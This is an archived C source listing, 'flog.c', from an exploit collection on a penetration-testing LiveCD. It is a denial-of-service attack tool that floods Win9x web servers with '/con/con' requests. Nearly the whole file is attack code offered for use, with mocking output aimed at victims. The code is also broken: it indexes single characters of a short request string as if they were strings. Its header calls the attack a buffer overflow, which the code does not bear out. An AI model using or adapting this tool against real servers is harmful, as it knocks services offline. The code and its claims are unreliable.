home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / flog.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  125 lines

  1. /*
  2.  * [flog.c]
  3.  * A remote buffer overflow that affects all Win95/98/se machines 
  4.  * running a webserver using the unexisting /con/con exploit.
  5.  *
  6.  * by Infernal Pulse
  7.  * infernal@hackdesk.com
  8.  * http://www.hackdesk.com
  9.  *
  10.  * Greets
  11.  *  R00T-dude - For the idea.
  12.  *  All of the Hack Desk staff... 
  13.  *
  14.  * NOTE: Does not work on Windows NT 4 or Windows 2000 web servers.
  15.  *
  16.  */
  17.  
  18. #include <fcntl.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <signal.h>
  23. #include <stdio.h>
  24. #include <string.h>
  25. #include <netdb.h>
  26. #include <ctype.h>
  27. #include <arpa/nameser.h>
  28. #include <sys/stat.h>
  29. #include <strings.h>
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <unistd.h>
  33. #include <sys/socket.h>
  34.  
  35. void main(int argc, char *argv[])
  36. {
  37.   int sock,debugm=0;
  38.   struct in_addr addr;
  39.   struct sockaddr_in sin;
  40.   struct hostent *he;
  41.   unsigned long start;
  42.   unsigned long end;
  43.   unsigned long counter;
  44.   char foundmsg[] = "200";
  45.   char *cgistr;
  46.   char buffer[1024];
  47.   int count=0;
  48.   int numin,crap=0;
  49.   char conbuff[1024];
  50.   char *buff;
  51.   buff = "GET /con/con HTTP/1.0\n\n";
  52.  
  53.   if (argc<2)
  54.     {
  55.       printf("\n [flog.c] by Infernal Pulse ");
  56.       printf("\n Exploits the /con/con vulnerability on Win9x webservers. ");
  57.       printf("\n Usage: %s host",argv[0]);
  58.       exit(0);
  59.     }
  60.   if (argc>2)
  61.     {
  62.       if(strstr("-d",argv[2]))
  63.         {
  64.           debugm=1;
  65.         }
  66.     }
  67.   if ((he=gethostbyname(argv[1])) == NULL)
  68.     {
  69.       herror("gethostbyname");
  70.       exit(0);
  71.     }
  72.  
  73.   printf("\n\n\t                flog.c by Infernal Pulse \n\n\n");
  74.   start=inet_addr(argv[1]);
  75.   counter=ntohl(start);
  76.  
  77.   sock=socket(AF_INET, SOCK_STREAM, 0);
  78.   bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  79.   sin.sin_family=AF_INET;
  80.   sin.sin_port=htons(80);
  81.  
  82.   if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  83.     {
  84.       perror("connect");
  85.     }
  86.   printf("\n\n\t Checking webserver version... \n");
  87.   getchar();
  88.   send(sock, "HEAD / HTTP/1.0\n\n",17,0);
  89.   recv(sock, buffer, sizeof(buffer),0);
  90.   printf("%s",buffer);
  91.   close(sock);
  92.  
  93.   printf("\n\t Executing code... *fl0g* *fl0g* *fl0g* \n");
  94.   getchar();
  95.  
  96.   while(count++ < 97)
  97.     {
  98.       sock=socket(AF_INET, SOCK_STREAM, 0);
  99.       bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  100.       sin.sin_family=AF_INET;
  101.       sin.sin_port=htons(80);
  102.       if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  103.         {
  104.           perror("connect");
  105.         }
  106.       printf("fl0g - error");
  107.  
  108.       for(numin=0;numin < 1024;numin++)
  109.         {
  110.           conbuff[numin] = '\0';
  111.         }
  112.  
  113.       send(sock, buff[count],strlen(buff[count]),0);
  114.       recv(sock, conbuff, sizeof(conbuff),0);
  115.       cgistr = strstr(conbuff,foundmsg);
  116.       printf("Finished fl0ggin'!\n");
  117.       close(sock);
  118.     }
  119.   if (crap)
  120.     {
  121.       printf("fl0g dem Windows kiddies!\n");
  122.     }
  123. }
  124. /*                    www.hack.co.za              [2000]*/
  125.